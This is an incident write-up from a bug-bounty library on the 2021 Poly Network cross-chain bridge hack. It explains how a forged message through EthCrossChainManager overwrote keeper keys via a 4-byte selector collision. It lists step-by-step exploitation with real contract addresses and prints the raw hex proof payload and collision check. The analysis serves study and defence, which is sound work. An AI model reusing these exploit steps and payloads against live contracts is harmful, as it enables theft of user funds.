# Poly Network: cross-chain message hijacks EthCrossChainData ownership

Poly Network's EthCrossChainManager let anyone relay a cross-chain message to the privileged EthCrossChainData contract, letting the attacker overwrite keeper public keys and drain ~$611M across Ethereum, BSC and Polygon.

- Payout: Real-world hack
- Severity: critical
- Program: Poly Network
- Analysis by: DeFiHackLabs
- Disclosed: 2021-08-11
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-08/PolyNetwork_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210811-polynetwork
- Tags: area:web3 domain:web3 impact:funds-loss impact:mass-exploit kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** EthCrossChainManager / EthCrossChainData bridge contracts on Ethereum, BSC, Polygon
**Root cause:** verifyHeaderAndExecuteTx calls executeCrossChainTx on any contract, including the privileged EthCrossChainData contract that EthCrossChainManager owns; the onlyOwner check passes because the caller is the manager itself. The method selector is derived from user-controlled _method, so a crafted method string can collide with putCurEpochConPubKeyBytes(bytes) selector.
**Steps:**
1. Call `verifyHeaderAndExecuteTx(proof, rawHeader, headerProof, curRawHeader, headerSig)` on EthCrossChainManager `0x838bf9E95CB12Dd76a54C9f9D2E3082EAF928270` with a valid-looking header/proof.
2. Craft the Merkle proof so ToMerkleValue.toContract = EthCrossChainData `0xcF2afe102057bA5c16f899271045a0A37fCb10f2` and args encode the new keeper public key bytes.
3. Set TxParam.method to `f1121318093(bytes,bytes,uint64)` whose sighash `0x41973cd9` collides with `putCurEpochConPubKeyBytes(bytes)` selector `0x41973cd9`.
4. Manager executes the call as owner, overwriting the consensus public key bytes in EthCrossChainData.
5. Repeat on BSC and Polygon proxy lock contracts, then submit forged cross-chain withdrawals to drain locked assets.
**How found:** Researcher observed that executeCrossChainTx only checks the target is a contract, not that it excludes privileged contracts like EthCrossChainData; then realized the method selector is computed from user-supplied _method, enabling a 4-byte sighash collision via grinding.
**Exploitation:** Attacker relayed a forged cross-chain message through EthCrossChainManager, which passed the onlyOwner check on EthCrossChainData and replaced the keeper public key. With the key under attacker control, they signed arbitrary cross-chain transactions and drained ~$611M in USDC, WBTC, DAI, UNI, SHIBA, renBTC, USDT, wETH, FEI, BNB, BTCB, BUSD from lock contracts on Ethereum, BSC and Polygon.
**Escalation:** Same primitive replayed across three chains' proxy lock contracts, multiplying the drained amount; Tether later froze 33M USDT.
**Insight:** When a privileged contract is owned by a relay/manager that executes arbitrary user-supplied calls, the owner check is meaningless — look for any path where the manager itself is the caller. Also check whether function selectors are derived from user-controlled strings, since 4-byte collisions are grindable.

## Proof of concept (copied exactly from the original report)

**Crafted proof calling putCurEpochConPubKeyBytes via sighash collision**

```
bytes memory proof =
            hex"af2080cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a0300000000000000200c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f708ea3100000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407020000000000000014cf2afe102057ba5c16f899271045a0a37fcb10f20b66313132313331383039331d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b01362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5017b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b3301ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d";
        // value length: af
        // ToMerkleValue.txHash length: 20
        // ToMerkleValue.txHash: 80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a
        // ToMerkleValue.fromChainID: 0300000000000000
        // TxParam.txHash length: 20
        // TxParam.txHash: 0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7
        // TxParam.crossChainId length: 08
        // TxParam.crossChainId: ea31000000000000
        // TxParam.fromContract length: 14
        // TxParam.fromContract: e1a18842891f8e82a5e6e5ad0a06d8448fe2f407
        // TxParam.toChainId: 0200000000000000
        // TxParam.toContract length: 14
        // TxParam.toContract: cf2afe102057ba5c16f899271045a0a37fcb10f2
        // TxParam.method length: 0b
        // TxParam.method: 6631313231333138303933
        // TxParam.args length: 1d
        // TxParam.args: 010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b
        // pos: 01
        // nodehash: 362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5
        // pos: 01
        // nodehash: 7b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b33
        // pos: 01
        // nodehash: ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d
```

**Sighash collision between f1121318093 and putCurEpochConPubKeyBytes**

```
http://ethers.utils.id ('putCurEpochConPubKeyBytes(bytes)').slice(0, 10)
'0x41973cd9'
```

